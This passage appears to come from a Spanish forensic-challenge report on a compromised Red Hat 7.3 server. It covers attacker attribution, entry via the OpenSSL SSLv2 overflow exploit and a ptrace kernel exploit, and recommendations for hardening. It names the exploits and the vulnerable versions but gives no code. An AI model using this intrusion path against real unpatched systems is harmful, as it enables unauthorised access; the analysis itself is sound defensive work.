El atacante instala varias herramientas de cada tipo en las típicas en el proceso de una intrusión
(rootkit, backdoor, autorooter para atacar a otras maquinas). La única herramienta ajena a este
proceso es el bouncer de Irc. Los bouncers se suelen usar para mantener el control de canales
mientras se esta desconectado, para ocultar la IP real al resto, para lanzar ataques de DoS, etc. El
perfil de la gente que se mete en estas guerras, suelen ser chicos jóvenes con afán de
protagonismo y un ego alto. Usan el irc para “contar sus batallitas”, luchar con grupos rivales, etc. y
los bouncer les ayudan a mantenerse anónimos en estos canales de irc, a atacar a otros y a evitar
los ataques.
En cuanto a la nacionalidad, debido a que la mayor parte de las herramientas que instala, se las
baja de un proveedor de alojamiento web gratuito alojado en Rumania y cuyas paginas están
íntegramente en rumano, parece razonable pensar que el atacante era de esa nacionalidad.
Además una de las herramientas manda un mail a una dirección de yahoo cuyo username era
radautiteam. Radauti es una pequeña ciudad rumana (35.000 habitantes) junto a la frontera con
Ukrania, probablemente los atacantes sean de esta población o muy cercana.
41
Sin embargo podría sorprender que la IP del ataque (64.202.43.190) no provenga de Rumania sino
de EEUU, en concreto de Reno, Nevada. Esto no tiene nada de sorprendente si pensamos que
desde la maquina del reto (que esta en México) ataca a otras maquinas de Brasil, Italia, Polonia,
etc. y estas percibirán el ataque con origen México. Con toda probabilidad la IP 64.202.43.190 es
una maquina previamente comprometida.
Por lo tanto respondiendo a la pregunta del reto, estimamos que:
• El atacante es uno varios chicos jóvenes rumanos, probablemente de la ciudad de Radauti
al Norte de Rumania, cerca de la frontera con Ukrania.
• Con pocos conocimientos técnicos, que usan herramientas desarrolladas por terceros,
pero que nunca desarrollan las suyas propias.
• Cuya principal motivación es controlar el mayor número de maquinas posibles, para
instalarles bouncers de IRC.
• La dirección IP desde la que se conectaron es 64.202.43.190. El dominio pertenece a una
empresa de hoteles asiática (asiahotels.net) pero la máquina esta físicamente en Reno,
Nevada, EEUU en Altaway Technologies. Con toda seguridad dicha maquina esta a su vez
comprometida.
4.4. ¿Cómo ingreso?
El atacante aprovecho una vulnerabilidad existente en las librerías OpenSSL iguales o inferiores a
la versión 0.9.6e. Dicha vulnerabilidad consiste en un buffer overflow durante el proceso de
negociación en SSLv2 (CA-2002-23 23 VU#102795). En concreto, el equipo del reto, tenía la versión
0.9.6b, por lo que era vulnerable a cualquier servicio que usara dichas librerías.
En este caso, el atacante entró a través del servidor seguro del apache que hace uso de estas
librerías. La entrada se produjo usando el exploit que contiene el autorooter selena.tgz. Dicho
exploit es el exploit desarrollado por Solar Eclipse [email protected] y conocido como
openssl-too-open 24 .
Sin embargo, tras explotar la anterior vulnerabilidad, solo tenia acceso como usuario no
privilegiado, así que necesito de un segundo exploit, esta vez local que aprovechaba una
vulnerabilidad en los kernels 2.2 y 2.4 al realizar una llamada a la función ptrace(). Por lo tanto, lo
descarga como usuario apache y tras su ejecución, se convirtió en root del sistema culminando la
escalada de privilegios.
4.5. ¿Qué recomendaciones harías para minimizar el riesgo de una nueva
intrusión?
•
•
23
24
Lo primero y fundamental es mantener una política de actualizaciones periódica de los
parches de seguridad del S.O. instalado. En el caso que nos ocupa esto es especialmente
difícil porque RedHat finalizo el soporte oficial de su versión 7.3 el 1 de Enero del 2004, por
lo que hace más de un año que no tiene parches oficiales.
Lo segundo es restringir al máximo los servicios que ofrece la maquina. Cuantas menos
puertas de entrada tenga, tanto más fácil será mantener actualizado el sistema y menos
probabilidades de encontrar un fallo. En este caso el servidor apache estaba corriendo,
pero sin embargo no estaba sirviendo nada más que las paginas de inicio por defecto de la
distribución.
CA-2002-23: http://www.cert.org/advisories/CA-2002-23.html
openssl-too-open: http://www.phreedom.org/solar/exploits/apache-openssl/
42
•
•
•
•
•
•
Activar el firewall (iptables) del kernel de Linux. Permitirá tener un control exhaustivo sobre
quien puede conectarse a qué servicio en la máquina. Tampoco sería mala idea el montaje
de un firewall que trabajase a nivel de aplicación y no solo como firewall de paquetes.
Se deberían cambiar las contraseñas del usuario root y Contador, así como de todos los
usuarios que han usado la maquina para conectarse a otras maquinas. Aunque no hay
constancia de la instalación de ningún sniffer (el que viene con Suckit fallo), sería también
una buena política cambiar las contraseñas de las maquinas de la misma LAN.
Sería muy recomendable instalar un sistema de verificación de integridad, tipo tripwire, que
verifique si ha habido alteraciones en los ficheros importantes del sistema.
Visto el impacto que han tenido los virus en esta intrusión, no estaría de más introducir en
la rutina de comprobaciones el pasar un antivirus para Linux de vez en cuando. De igual
manera, también se puede programar en el crontab que el rkhunter o el chkrootkit corran
de vez en cuando y nos notifiquen si detectan algo.
Para limitar en la medida de lo posible la actuación de los atacantes, deberíamos notificar
lo antes posible a los administradores de la maquina en el ISP Altaway Technologies,
Reno, Nevada, EEUU desde la que nos atacaron, puesto que con toda seguridad debe
estar comprometida. Así, el administrador de dicho servidor, recobrará el control sobre su
equipo y el intruso habrá perdido una maquina bajo su control.
No recomendamos limpiar la maquina sino su total reinstalación previo formateo, puesto
que podría quedar algo que se nos haya pasado por alto que facilitara a los atacantes el
acceso de nuevo. La maquina no parecía tener datos de interés, pero siempre es
conveniente tener un backup reciente de los datos personales. En caso de que las
anteriores medidas no hayan sido suficientes, reinstalaremos el S.O. y restauraremos del
backup los datos.
43